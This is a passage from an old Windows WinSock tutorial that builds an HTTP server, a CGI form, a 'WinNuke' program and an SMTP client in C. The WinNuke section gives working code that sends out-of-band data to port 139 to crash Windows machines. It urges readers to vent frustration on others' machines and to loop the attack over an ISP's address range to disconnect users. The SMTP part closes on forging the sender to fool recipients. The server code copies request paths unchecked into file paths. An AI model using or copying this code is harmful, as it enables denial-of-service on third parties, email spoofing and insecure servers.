still see the whole file go across and Netscape says " Document Done
". Thirdly you could use the function closesocket() passing the socket
to be closed as it's parameter - which in our case is s1 . How this is done
we shall see in the next program. Now all these three methods will work. By now
you may have noticed plenty of \r\ns while we were storing the contents of
our response header into an array. You may be wanting to know why we have to
write \r\n at the end of each of the header line to be transmitted. The first
line has \r\n to show that it is an end to a command line whereas the second
line which says that the header is complete will have two \r\n, i.e.
\r\n\r\n. The first is to show that the command line is over and the next to
say that the contents of the header file is over.
Let's see how we can give a bigger
"Content-Length:" and still have our file sent across with the use of
the function closesocket() .
#include <windows.h>
#include <stdio.h>
WNDCLASS a;
MSG c;
HWND b;
long _stdcall zzz();
int d;
char aa[1000];
char bb[2000];
WSADATA ws;
SOCKET s,s1;
struct sockaddr_in A,A1;
void abc(char *p)
{
FILE *fp=fopen("c:\\b.txt","a+");
fprintf(fp,"%s",p);
fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
a.hInstance = i;
a.lpszClassName = "Hi";
a.lpfnWndProc = zzz;
a.hbrBackground = GetStockObject(WHITE_BRUSH);
RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
ShowWindow(b,3);
while(GetMessage(&c,0,0,0))
DispatchMessage(&c);
}
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
if(x==WM_USER+1)
{
if ( LOWORD(z) == 8)
{
d=sizeof(A1);
s1 = accept(s,(struct sockaddr *)&A1,&d);
MessageBox(0,"Hello","You are in FD_ACCEPT",0);
}
if( LOWORD(z) == 1)
{
d = recv(s1,bb,2000,0);
sprintf(aa,"recv = %ld\n",d);
abc(bb);
strcpy(aa,"HTTP/1.0 200 OK\r\n");
strcat(aa,"Content-length:1000\r\n\r\n");
strcat(aa,"<html>Hello<hr><hr>Hi" );
d=send(y,aa,strlen(aa),0);
sprintf(aa,"send = %ld",d);
abc(aa);
closesocket(s1);
MessageBox(0,"Hi","You are now in FD_READ",0);
}
}
if(x==WM_LBUTTONDOWN)
{
d=WSAStartup(0x101,&ws);
sprintf(aa,"WSASTARTUP = %ld\n",d);
abc(aa);
s=socket(AF_INET,SOCK_STREAM,0);
sprintf(aa,"SOCKET = %ld\n",s);
abc(aa);
A.sin_family=AF_INET;
A.sin_port=htons(80);
A.sin_addr.s_addr= INADDR_ANY;
d=bind(s,(struct sockaddr*)&A,sizeof(A));
sprintf(aa,"BIND = %ld\n",d);
abc(aa);
WSAAsyncSelect(s,b,WM_USER+1,FD_ACCEPT|FD_READ);
MessageBox(0,"first Message","first Box",0);
d=listen(s,100);
sprintf(aa,"LISTEN = %ld\n",d);
abc(aa);
}
if (x== WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(w,x,y,z);
}
In this program we have used the closesocket()
function to close the socket. You will notice that we now have a Content-Length
of 1000 bytes. The file now goes across to the client without a hitch. This
function is to be passed the socket which you want to close, as a parameter. If
we had not used this function you would have seen that Netscape would have
waited on Stop , i.e. the Stop button of Netscape would still have been
activated and it would still have been waiting for the file from the server.
You will notice that so far we have sent the bare minimum
lines of code to the client as the header. These are then sent as headers
before the file is sent to the client. But you may also have noticed that
Netscape has sent us plenty of headers. Now if you also want to send some more
headers to Netscape, you can include the following few lines before before you
specify the " Content-Length " but these lines should be after
"HTTP/1.0 200 OK"
*********************************************************************
strcat(aa,"Date:Saturday Sat,20 Dec 1997 19:38:46 GMT\r\n");
strcat(aa,"Server:Webster/1.0\r\n");
strcat(aa,"MIME-version:1.0\r\n");
strcat(aa,"Content-type:text/plain\r\n");
strcat(aa,"Last-modified:Thursday Thur, 18 Dec 1997 19:38:46 GMT\r\n");
*********************************************************************
The first line here indicates the date and time the file is
sent across to the client. The second line specifies the name of the server
which in our case we have said is Webster. Now if you want, you can even put
your own name here. The next line specifies the MIME-version number. MIME
stands for Multimedia Internet Mail Extensions. It is basically used to tell
the client the type of file you are sending across i.e. whether the file sent
across is a Gif file or a text file or any other file. The next line
specifies the Content-Type i.e. the type of file that is sent across. If we
say this Content-Type is text plain, you will see that the output to the client
will appear with tags as shown below.
<Html>Hello<hr><hr>Hi.
So what did this line do to your program. You can see
with your own eyes that the file sent by you is with tags. Let's understand
that in this line, you have asked the file to be transferred as text/plain
and the Browser read it as a plain text. You should know that plain text means
that none of the contents have to be changed. The tags etc. have to be read as
they are. So it displays the file with the tags. Now instead of plain, if you
had said "html", the file that the client receives would be the same
decent little file, without tags, that we had sent earlier.
This last line requires some explanation. Netscape has an
internal directory known as Cache . Whenever you visit a site, the files
that you visit along with their headers are automatically stored by Netscape in
this Cache directory. This directory has been allotted a specific number of
bytes by Netscape. When these bytes allocated have been fully occupied, and if
you visit more sites then the old files exisiting in Cache will be deleted
to make space for the new file. When Netscape does a recv() from the server
it first makes a request for the headers from the server. Once it receives the
headers, it checks for the "Last-Modified" date and time. Once it
reads this header, it then checks it's cache directory to see whether it has
the same file. If it realises that there has been no modification to that file
since the last time it had downloaded that file, it would merely display the
file that is already present in it's cache directory. In other words Netscape
internally calls recv() twice. The first time it calls the recv()
function to get the headers from the server and next time to get the actual
data. If during the first recv() it sees that there is no change in the
Last-Modified" date and time, it gets the file from it's own cache
directory, if the file is present in it's own directory. While on the topic of
Netscape, you will also notice that Netscape does not show you the header bytes
it has received from the server.
In the above program, we have sent a default file which
is small. This posed no problems. In actual practice when a client connects to
our server and asks for a particular file, then we have to send that file
across to the client. For sending the file across, you have to first read this
file from the hard disk into an array, and then send it across to the client.
This slows down the performance of the server.
Final HTTP Server Program
#include<windows.h>
#include<stdio.h>
WNDCLASS a;
long _stdcall zzz();
HWND b;
MSG c;
long d;WSADATA ws;
char aa[1000];
FILE *fp;
long size;
char header[1000];
char bb[1000];
char *pp;
char *p;
char buf[1000];
int e,s,fn;
struct sockaddr_in A;
char filename[1000];
void abc(char *p)
{
FILE *fp;
fp=fopen("C:\\z.txt","a+");
fprintf(fp,"%s\n",p);
fclose(fp);
}
_stdcall WinMain(HINSTANCE i,HINSTANCE j,char *k,int l)
{
a.hInstance=i;
a.lpszClassName="Hi";
a.lpfnWndProc=zzz;
a.hbrBackground=GetStockObject(WHITE_BRUSH);
a.hCursor=LoadCursor(0,IDC_ARROW);
RegisterClass(&a);
b=CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,100,200,300,0,0,i,0);
ShowWindow(b,3);
while(GetMessage(&c,0,0,0))
DispatchMessage(&c);
}
long _stdcall zzz(UINT w,UINT x,UINT y,long z)
{
if(x==WM_LBUTTONDOWN)
{
d=WSAStartup(0x101,&ws);
sprintf(aa,"%d WSAStartup",d);
abc(aa);
s=socket(AF_INET,SOCK_STREAM,0);
A.sin_family=AF_INET;
A.sin_port=htons(80);
A.sin_addr.s_addr=INADDR_ANY;
d=bind(s,&A,sizeof(A));
d=WSAAsyncSelect(s,b,WM_USER,FD_ACCEPT | FD_READ);
d=listen(s,100);
}
if (x==WM_USER)
{
if(LOWORD(z)== FD_ACCEPT)
{
d=sizeof(A);
accept(s,&A,&d);
}
if(LOWORD(z)== FD_READ)
{
d=recv(y,aa,1000,0);aa[d]=0;
abc(aa);
p=aa;
p=p+4;
e=0;
while(*p!=32)
{
if (*p=='/')
{
buf[e]='\\';
}
else
buf[e]=*p;
if(buf[e]=='.')
fn=1;
p++;
e++;
}
buf[e]=0;
if (strlen(buf)==1)
strcpy(filename,"c:\\Website\\wsdocs\\index.html");
else
{
strcpy(filename,"c:\\website");
strcat(filename,buf);
if(fn==0)
strcat(filename,"index.html");
}
abc(filename);
fp=fopen(filename,"rb");
fseek(fp,0,2);
size=ftell(fp);
strcpy(header,"HTTP/1.0 200 ok \r\n");
sprintf(bb,"Content-Length:%ld\r\n\r\n",size);
strcat(header,bb);
send(y,header,strlen(header),0);
pp=malloc(size);
fseek(fp,0,0);
fread(pp,size,1,fp);
send(y,pp,size,0);
closesocket(y);
}
}
if(x==WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(w,x,y,z);
}
There is also a concept called as the server side
includes. Let's understand what this means. There may be variables in a
sentence that are understood by the server alone. For example, the server has
to keep a track of the number of people visiting the site on a particular day.
For this we may have a statement in the default file that would have said
"You are visitor number x today ". For this purpose the server
has to replace the variable x with the actual number of people visiting the
site before sending the page to the client. The server has to first pick up the
value of the variable x and put it in the sentence and then transmit the
file to the client. This also makes the performance of the server slow.
There is also something known as ASP i.e. Active Server
Pages. It is possible that the file to be transmitted starts with a special
character. For example an & sign or an ! sign or some other
character. These characters may hold special meaning to the server. It is also
possible to have our own programming language, within comments, at the start of
the file. The server on seeing this commented lines of code would recognise the
program written. In the program within the comments, we could ask the server to
get a file from a particular database and send it as an attachment to the file.
The server will then have to search for the file in the database and then
transfer the file to the client. This again slows down the server.
There is also a complication with different Operating
Systems. A server working in Windows Operating System will be slower as
compared to the same server working under UNIX. This is not because the server
is written better under UNIX but because the UNIX file system is raw and it
gives you a faster throughput time than Windows-NT. Thus we can see that the same
server under different Operating Systems give faster output.
Friends, even though there are drawbacks for the server,
you should now be happy that after all the discomforts, you finally have your
server ready. With this creation, you are now the master of a server. After
such complex programs, we feel that you should let out some steam. By this, we
are not asking you to beat up some person. Remove your frustrations on some
other person's machine. By this we are not asking you to go and break his machine,
we are merely showing you how you can hang his machine. So lets learn how to
hang a machine all by ourselves using the knowledge we have acquired so far.
Common Gateway Interface (CGI)
<html>
<form method=get action="http://70.0.0.1/a.exe">
<input type=text name=aa><p>
<input type=text name=bb><p>
<input type=submit value-"Click Here">
<input type=reset value="Reset All">
</form>
</html>
" WIN - NUKE "
What is the first thing that comes to your mind when you
hear or read the word Nuke ? Yes, it is the word synonymous with
destruction, etc. Well, how would you like to hang a machine on the Internet?
Does it not sound exciting? To hang a server which is situated at a far off
place. Imagine you doing that same thing sitting in your living room munching
peanuts!!! Does it not sound interesting? Well, we will now show you how to do
this very same thing.
If you are looking for some big changes, from what we
have done earlier, then forget it. You are in for a big disappointment. Why not
go ahead and find out how it is possible to hang a machine on the Internet?
We hope that you have already passed through the rigors
of creating the HTTP server and HTTP client. If you have, then this program is
a piece of cake. Lets roll up our sleeves and get to work. Take a look at our
first program.
Lets start with initialising our usual code that
comprises of functions like WSAStartup(), socket() and the members of the
structure which looks like sockaddr_in. And connect to a Windows server.
#include <windows.h>
#include <stdio.h>
WNDCLASS a;
MSG c;
HWND b;
long _stdcall zzz();
SOCKET s;
WSADATA ws;
DWORD e;
struct sockaddr_in h;
char aa[200];
void abc(char *p)
{
FILE *fp=fopen("c:\\bb.txt","a+");
fprintf(fp,"%s",p);
fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
a.hInstance = i;
a.lpszClassName = "Hi";
a.lpfnWndProc = zzz;
a.hbrBackground = GetStockObject(WHITE_BRUSH);
RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
ShowWindow(b,3);
while(GetMessage(&c,0,0,0))
DispatchMessage(&c);
}
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
if(x == WM_LBUTTONDOWN)
{
e = WSAStartup(0x0101,&ws);
sprintf(aa,"WSASTARTUP = %ld\n",e);
abc(aa);
s = socket(PF_INET,SOCK_STREAM,0);
sprintf(aa,"SOCKET = %ld\n",s);
abc(aa);
h.sin_family = AF_INET;
h.sin_port = htons(139);
h.sin_addr.s_addr = inet_addr("70.0.0.5");
e = connect(s,(struct sockaddr *)&b,sizeof(b));
sprintf(aa,"CONNECT = %ld\n",e);
abc(aa);
}
if (x== WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(w,x,y,z);
}
By this time we hope that we dont have to explain to you
what the function WSAStartup() and the function socket() means. Some of you may
be worried after looking at the first parameter of the socket function. This
first parameter PF_INET is nothing but just another #defined present in the
header file windows.h or another header file that windows.h called. We
are merely using different Macros, which perform the same functions. This is to
help you sprout these Macro names at a meeting or social gathering, so as to
impress other people with your immense knowledge about the Internet. The
only interesting part of the initialisation process is the port number in the
function htons() . As compared to previous programs, the port number has now
been changed to 139 . This number is the port number of the NetBios server
of Windows. NetBios used to be Microsofts networking software. So now we can
safely say that whenever Windows gets loaded, it's NetBios server is said to be
listening on port number 139.
In the connect() we are doing nothing other than
connecting to the server whose IP address is "70.0.0.3". So far you
are still on familiar grounds. Just for safety sake take a peek in the
"bb.txt" file. The output that is now displayed in the file is as
shown below.
WSASTARTUP = 0
SOCKET = 3
CONNECT = 0
Now lets deviate from the normal practice and make some
changes in the send() function in our next program.
#include <windows.h>
#include <stdio.h>
WNDCLASS a;
MSG c;
HWND b;
long _stdcall zzz();
SOCKET s;
WSADATA ws;
DWORD e;
int x;
struct sockaddr_in h;
char aa[200];
char str[100];
void abc(char *p)
{
FILE *fp=fopen("c:\\bb.txt","a+");
fprintf(fp,"%s",p);
fclose(fp);
}
_stdcall WinMain(HINSTANCE i, HINSTANCE j, char *k, int l)
{
a.hInstance = i;
a.lpszClassName = "Hi";
a.lpfnWndProc = zzz;
a.hbrBackground = GetStockObject(WHITE_BRUSH);
RegisterClass(&a);
b = CreateWindow("Hi","Bye",WS_OVERLAPPEDWINDOW,1,2,10,50,0,0,i,0);
ShowWindow(b,3);
while(GetMessage(&c,0,0,0))
DispatchMessage(&c);
}
long _stdcall zzz(UINT w,UINT x,UINT y, long z)
{
if(x == WM_LBUTTONDOWN)
{
e = WSAStartup(0x0101,&ws);
sprintf(aa,"WSASTARTUP = %ld\n",e);
abc(aa);
s = socket(PF_INET,SOCK_STREAM,0);
sprintf(aa,"SOCKET = %ld\n",s);
abc(aa);
h.sin_family = AF_INET;
h.sin_port = htons(139);
h.sin_addr.s_addr = inet_addr("70.0.0.2");
e = connect(s,(struct sockaddr *)&h,sizeof(h));
sprintf(aa,"CONNECT = %ld\n",e);
abc(aa);
sprintf(str,"Hello");
x = send(s, str, strlen(str), MSG_OOB);
sprintf(aa,"SEND = %d\n",x);
abc(aa);
MessageBox(0,"End","End",0);
}
if (x== WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(w,x,y,z);
}
In this program we have added a send() function. This
function is passed four parameters. The first is a socket which knows the IP
address and the port number of the server we want to connect to. The second
parameter is a string which you want to send across. The third parameter is the
length of the string you sent. The fourth parameter is a Macro MSG_OOB .
We know that in the TCP/IP header - which we had
previously learnt some decades ago while learning the HTTP client - the last
two bytes of the TCP header are known as urgent pointers. At times, when a
TCP/IP communication process is going on, the user may press some key. For
example, the user may press the delete key, or if there is an FTP going on, the
user may press cancel, to say he wants to stop the entire process. Now
shouldnt he inform the server and tell him to stop the entire process. In
other words we have to give the server an urgent message. At that point, the
server is supposed to tell it's TCP/IP stack to read only what the user is
currently sending.
When you use the send() function, the last parameter
becomes very important. This last parameter sets a flag. When we say MSG_OOB,
we are asking the send() function to set a flag on in the header it
sends to the server. This flag is known as the URG flag. When the server
receives this header, with the URG flag on, it knows that there is number
in the Urgent Pointer. This Urgent Pointer tells the server, the number of
bytes of data following the header, that it is supposed to read first.
Lets assume that we want to send " Hello".
This string is copied into an array str . The third parameter is the number
that should be placed into the Urgent Pointer. In our program, since we have
placed strlen(str) as the third parameter, the length of the string will be
placed into the Urgent Pointer field. If this third parameter had been made 2
, then 2 would have been placed into the Urgent Pointer field. This would
have told the server that only the first two bytes of the data are urgent. Now,
we are sending this packet with the URG flag on , over to a NetBios server.
This server is listening on port number 139.
Let us understand that the, Windows TCP/IP stack may not
have been written by Microsoft. This is because in the previous version of
Windows i.e. 3.1, there was no such thing as a TCP/IP stack. The TCP/IP stack
was a separate program that could be bought from another company and loaded on
to Windows3.1. Now when they were designing the Windows95 version, they were
not very sure as to how much the Internet would grow. Now do not quote us
anywhere. We say that this may be true, but if this statement is not true, at
least it is a certainty that this stack was not properly tested before
Windows95 was officially released.
When a Windows machine is sent a packet with the URG flag
on , we find that the machine gets disconnected from the network. One of the
programs that handle networking functions on the machine, hang. In other words,
we are saying that either the TCP/IP stack hangs, or the NetBios Server program
hangs. We do not know which one of them hangs, and we personally dont think
Microsoft intends letting us know. On the machine that hangs, a blue screen
displays a message that there were errors in some VxD. This means that the machine
has hung due to errors in a VxD or Virtual Device Driver after it has received
a packet with the URG flag on . The code of every function in Windows
ultimately exists in Virtual Device Drivers. If even one of the Virtual Device
Drivers, in which the code of the Windows TCP/IP stack is present, hangs, all
networking activities of the machine come to a stop.
The output in the "bb.txt" however you will see
that it remains unchanged.
WSASTARTUP = 0
SOCKET = 3
CONNECT = 0
SEND = 5
Thus we see how simple it is to hang a server on the
Internet. You have to however realise, that this is possible only if the
machine you tried to hang is running through a Windows application. So now
whenever you try to connect to V.S.N.L. and you cant get through, you can call
up a friend and ask him to run this program in a loop. We know that the IP
addresses given by V.S.N.L. start from 202.54.1.... Now using these numbers in
a loop he can WinNuke some connections on the Internet whereby making some lines
available for you to connect to the Internet.
Nowadays, there is a patch available for this bug at the
Microsoft site. So if you go to that site, you can download the patch and
install it in your machine. Once you install this patch in your machine, your
machine is safe from being WinNuked and you would not have to worry about being
thrown out of the Internet. This thing works both ways. If the other machine
you are trying to WinNuke has this patch installed in his machine, then you
will not be able to WinNuke his machine.
Now lets proceed on to something more easy or should we
say simple as in " Simple Mail Transfer Protocol " or better known as
S.M.T.P. or an E-Mail. You lucky chaps. We shall now explain to you how an
E-Mail works in our next session.
" SIMPLE MAIL TRANSFER PROTOCOL
(S.M.T.P.) "
What do you mean when you say that you are sending an
E-Mail to someone ? Do you know how E-Mail works or how simple it is ? Have you
ever spared a thought to the process your message has to go through, when you
send an E-Mail to someone ? If the answer is no , dont worry, after you go
through this topic you may be able to answer most of these questions in the
affirmative.
The process of creation of the S.M.T.P. server will seem
so absurdly simple that you will say at the end of this topic that this
S.M.T.P. should stand not for " Simple Mail Transfer Protoco "
but for " Stupid Mail Transfer Protocol." Now how do we go
about creating this server.
#include <windows.h>
#include <stdio.h>
void abc(char *p)
{ FILE *fp=fopen("c:\\sz.txt","a+");
fprintf(fp,"%s\n",p);
fclose(fp);
}
struct sockaddr_in A;
WSADATA W;
SOCKET S;
int i;
char aa[100];
_stdcall WinMain(HINSTANCE ii, HINSTANCE j, char *k, int l)
{
WSAStartup (0x101, &W);
S = socket(AF_INET, SOCK_STREAM,0);
A.sin_family=AF_INET;
A.sin_port = htons(25);
A.sin_addr.s_addr=inet_addr("202.54.1.18");
i = connect(S,(struct sockaddr *) &A,sizeof(A));
sprintf(aa,"connect %d",i);
abc(aa);
}
This initial program however, brings back memories of our
first WinSock Program viz. the creation of our HTTP Browser. Now we are a bit
happy that these lines of code has been explained so many times that we feel
that we can skip the explanations this time. We however, have to explain, that
the port number passed in the htons() function i.e. 25 , represents the
port number of the S.M.T.P. server. The IP address given in the inet_addr()
function, is the address of the S.M.T.P. server of our Internet Service
Provider or I.S.P. which is V.S.N.L. By now you should be familiar with the
parameters of the function connect() .
With these lines of code being shrugged off we can now
proceed on with the creation of the S.M.T.P. server.
#include <windows.h>
#include <stdio.h>
void abc(char *p)
{
FILE *fp=fopen("c:\\sz.txt","a+");
fprintf(fp,"%s\n",p);
fclose(fp);
}
struct sockaddr_in A;
WSADATA W;
SOCKET S;
char aa[100];
int i;
char R[10000];
_stdcall WinMain(HINSTANCE ii, HINSTANCE j, char *k, int l
{
WSAStartup (0x101, &W);
S = socket(AF_INET, SOCK_STREAM,0);
A.sin_family=AF_INET;
A.sin_port = htons(25);
A.sin_addr.s_addr=inet_addr("202.54.1.18");
i=connect(S,(struct sockaddr *) &A,sizeof(A));
sprintf(aa,"connect %d",i);
abc(aa);
i=recv(S,R,10000,0);
sprintf(aa,"recv %d R %s",i,R);
abc(aa);
strcpy(R,"HELO vijay.com\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
i=recv(S,R,10000,0);
sprintf(aa,"recv %d R %s",i,R);
abc(aa);
strcpy(R,"MAIL FROM:<abc@giasbm01.vsnl.net.in>\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
i=recv(S,R,10000,0);
sprintf(aa,"recv %d R %s",i,R);
abc(aa);
strcpy(R,"RCPT TO:<vijay1@giasbm01.vsnl.net.in>\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
i=recv(S,R,10000,0);
sprintf(aa,"recv %d R %s",i,R);
abc(aa);
strcpy(R,"DATA\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
i=recv(S,R,10000,0);
sprintf(aa,"recv %d R %s",i,R);
abc(aa);
strcpy(R,"To: aaa.com\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
strcpy(R,"FROM: vijay1@giasbm01.vsnl.net.in\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
strcpy(R,"DATE: 6 Dec 97 20:14 PST\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
strcpy(R,"MESSAGE_ID: <123@e.com>\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
strcpy(R,"Hello\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
strcpy(R,"How are you\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
strcpy(R,".\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
i=recv(S,R,10000,0);
sprintf(aa,"recv %d R %s",i,R);
abc(aa);
strcpy(R,"QUIT\r\n");
i=send(S,R,strlen(R),0);
sprintf(aa,"send %d ",i);
abc(aa);
i=recv(S,R,10000,0);
sprintf(aa,"recv %d R %s",i,R);
abc(aa);
return 0;
}
Well now looking at this code what do you find ? No, we
are not crazy to simply type in the whole program at once. Just take a look at
the code, and if you think you need any explanations for each line step by
step, then you should really be dumb.
The real logic behind sending E-mail, is merely receiving
and sending bytes. The person who designed the S.M.T.P. said that whenever you
wanted to send an E-Mail, you have to first connect to an S.M.T.P. server -
preferably your own.
After we connect to the server, we have to wait for a
recv() and we know that recv() is a blocking function. The function
recv() is passed four parameters. The first parameter is S which looks like
the Macro SOCKET. Any message we receive from the server, is stored in the
second parameter which is an array. The third parameter is the length of this
array. This parameter specifies the maximum length of the message we can
receive from the server. The last parameter is 0 which we as usual wont
explain.
The server will come back and say that everything is O.K.
on the server side and we may now begin sending the E-Mail header This message
which was received from the server has been captured by the recv() function
in the array R . Looking at the output in the "sz.txt" file you
will be amazed at the quantum of output this program has generated for us. The
output in "sz.txt" upto this point however is as shown below.
connect 0
recv 91 R 220 giasbm01.vsnl.net.in ESMTP Sendmail 8.7.6/8.7.3; Sat, 6 Dec 1997 20:14:14 +0530 (IST)
By now we should be happy that we could successfully
connect to the S.M.T.P. server. In this output the number 220 is an error
check. It tells that the connection with the server has been successfully made.
This is also proved when we find connect 0 in our "sz.txt" file.
Now we can see what the server has sent us. The S.M.T.P. server is now sending
us his name and the time we had connected to this server. This was the output
of our first recv() function.
Lets go further. The moment the server says that all is
O.K. on his side, we have to start sending him our E-Mails headers. Friends,
before sending our message to the S.M.T.P. server there is a certain set of
protocols we have to follow. You have to first send the server a HELO and
along with this you also have to mention the name of the computer you are
working on. Here, you can give any name, as the computers name. He wont give
you a problem, but HELO is a must. This line however has to end with a \r\n
to show that we have finished sending our first command to the server. The
entire command which we are going to send is first stored into an array R.
The command is sent across to the server through the send() function. This
function is to be passed four parameters. The first parameter is the variable
S . The second parameter is the array where we have stored the command which
we want to send to the S.M.T.P. server. The third parameter specifies the
length of the array. The last parameter is 0 and is, as usual, unexplained.
What does this command show ? Does this not show that the
S.M.T.P. server was written by a person who did not know how to spell Hello
in English? Because of this, he put HELO as the syntax to be used before
sending an E-Mail. But as it is already too late to correct his spelling we
should also write HELO . By now, we have already learnt the basic thing
about syntax the hard way. Do not argue with syntax. If the program
wants a HELO to be sent first, so be it. We wont argue. We have to wait on
our recv() function. The output in our " sz.txt " file, until
this point are shown below.
connect 0
recv 91 R 220 giasbm01.vsnl.net.in ESMTP Sendmail 8.7.6/8.7.3; Sat, 6 Dec 1997 20:14:14 +0530 (IST)
send 16
recv 68 R 250 giasbm01.vsnl.net.in Hello [202.54.29.65], pleased to meet you
You see that he comes back and responds to us by saying Hello
in proper English. He also says that he is pleased to meet us - well why
shouldnt he be pleased. After all, we have our own inborn charisma. But if he
greets you in the same way, then why should he be pleased, for heavens
sake, we dont know. So far, there has never been a time when we were pleased
to see you - let alone meet you. This can be called as the facination of the
horrible. You also see some IP address in between. Dont worry, this is
your present IP address, given to you by the I.S.P. i.e. V.S.N.L.
The next step is to send a MAIL FROM: and an E-Mail
address. The sender can be any Tom, Dick and Harry but the name specified
should be within the angle brackets, i.e. < > . It does not matter
even if you do not specify any name within these brackets. At the end of this
command also, you have to give a \r\n to say that it is the end of the
command.
Now you again have to wait for a response from the
server. This server now will come back and tell you that the E-Mail address
sent by us is a valid E-Mail address. The output until now in the file
"sz.txt" is shown below.
connect 0
recv 91 R 220 giasbm01.vsnl.net.in ESMTP Sendmail 8.7.6/8.7.3; Sat, 6 Dec 1997 20:14:14 +0530 (IST)
send 16
recv 68 R 250 giasbm01.vsnl.net.in Hello [202.54.29.65], pleased to meet you
send 38
recv 45 R 250 <abc@giasbm01.vsnl.net.in>.. Sender ok
Now what does this show ? Even if any Tom, Dick and Harry
had sent the E-Mail, the server would still have said that the sender was O.K.
So far we have not mentioned to whom the E-Mail is
supposed to be sent to. By using the command " RCPT TO: " followed by
the name of the person who is to receive the packet, we can tell the server the
destination of this message. You also have to end the command with the usual
\r\n . Why should we say " RCPT TO: " and not something else? Well
that is the syntax. If you want to send an E-Mail you better follow these rules
or forget about sending your mail.
We have, once again, to wait for a response from the
server. The server now reponds with the data upto now in the "bb.txt"
file as shown below.
connect 0
recv 91 R 220 giasbm01.vsnl.net.in ESMTP Sendmail 8.7.6/8.7.3; Sat, 6 Dec 1997 20:14:14 +0530 (IST)
send 16
recv 68 R 250 giasbm01.vsnl.net.in Hello [202.54.29.65], pleased to meet you
send 38
recv 45 R 250 <abc@giasbm01.vsnl.net.in>.. Sender ok
send 40
recv 18 R 250 Recipient ok
This message will however, come only if the name and the
E-Mail address of the person - who is to receive the packet - is correct.
Before you send your E-Mail message, you have to tell the
server that the header part is over and the message part is beginning. You can
inform the server about this by merely sending the command DATA . By sending
DATA , you are not only telling the server that the header part is over, but
also, that you are now going to start sending the actual message. Once again,
you have to wait for a response from the server. The moment you send DATA the
server will come back and tell you the following.
connect 0
recv 91 R 220 giasbm01.vsnl.net.in ESMTP Sendmail 8.7.6/8.7.3; Sat, 6 Dec 1997 20:14:14 +0530 (IST)
send 16
recv 68 R 250 giasbm01.vsnl.net.in Hello [202.54.29.65], pleased to meet you
send 38
recv 45 R 250 <abc@giasbm01.vsnl.net.in>.. Sender ok
send 40
recv 18 R 250 Recipient ok
send 6
recv 50 R 354 Enter mail, end with "." on a line by itself
From the output in this file, you can conclude that you
can keep sending your message (E-Mail). After you have finished sending the
E-Mail, you should end it with a . as a separate command, all by itself.
This is the best part. You can keep sending data line by line - each line ending
with a \r\n - for as long as you want to, without waiting for a receive. You
can check this in your "sz.txt" file. When the message is over, you
merely send it a . and end it with a \r\n to show that the command is now
complete.
The moment you send a . you have to wait for a
response from the server who will respond with the following message.
connect 0
recv 91 R 220 giasbm01.vsnl.net.in ESMTP Sendmail 8.7.6/8.7.3; Sat, 6 Dec 1997 20:14:14 +0530 (IST)
send 16
recv 68 R 250 giasbm01.vsnl.net.in Hello [202.54.29.65], pleased to meet you
send 38
recv 45 R 250 <abc@giasbm01.vsnl.net.in>.. Sender ok
send 40
recv 18 R 250 Recipient ok
send 6
recv 50 R 354 Enter mail, end with "." on a line by itself
send 13
send 35
send 27
send 25
send 7
send 13
send 3
recv 44 R 250 UAA20380 Message accepted for delivery
That means that the server has accepted your message and
will forward it to the E-Mail address specified in the RCPT TO: command.
If you want to send another message you can send multiple
messages one after another. But if you have finished sending all your messages,
you have to send the sever a QUIT followed by the usual \r\n . This is
to tell him that we have finished with sending E-Mails and that he can close
the the connection now. We again have to wait for the server to respond back
with a message. This message can be seen in the last line of our file
"sz.txt".
connect 0
recv 91 R 220 giasbm01.vsnl.net.in ESMTP Sendmail 8.7.6/8.7.3; Sat, 6 Dec 1997 20:14:14 +0530 (IST)
send 16
recv 68 R 250 giasbm01.vsnl.net.in Hello [202.54.29.65], pleased to meet you
send 38
recv 45 R 250 <abc@giasbm01.vsnl.net.in>.. Sender ok
send 40
recv 18 R 250 Recipient ok
send 6
recv 50 R 354 Enter mail, end with "." on a line by itself
send 13
send 35
send 27
send 25
send 7
send 13
send 3
recv 44 R 250 UAA20380 Message accepted for delivery
send 6
recv 45 R 221 giasbm01.vsnl.net.in closing connection
This shows that the S.M.T.P. server has understood our QUIT
message and has closed down our connection with it.
This is your S.M.T.P. server. Now dont you think that
this is a stupid protocol. Stupid because the MAIL FROM and the RCPT TO
has no connection with the TO and the FROM we had sent after we said
DATA . The S.M.T.P. protocol explicitly says that after DATA , the S.M.T.P.
server is not supposed to read or add anything at all and because of this we
have a problem. When sending the E-Mail in the MAIL FROM , anybodys name
can be written and the S.M.T.P. server will not care whose name it is. In the
RCPT TO: you have to specify the actual name and E-Mail address of the person
who is supposed to receive the packet. Now you have to understand that even
though we are specifying these things to the S.M.T.P. server, they are not
transmitted across to the other person. i.e. the person who receives the packet
cannot come to know the person who actually sent him the package. What he will
receive is the " TO " and " FROM " after " DATA
". Now if we want to fool the person who is on the receiving end of the
packet, you just have to give his name in the " TO " and when you say
" FROM " you can say that it is from " Mr. I.K.Gujral", and
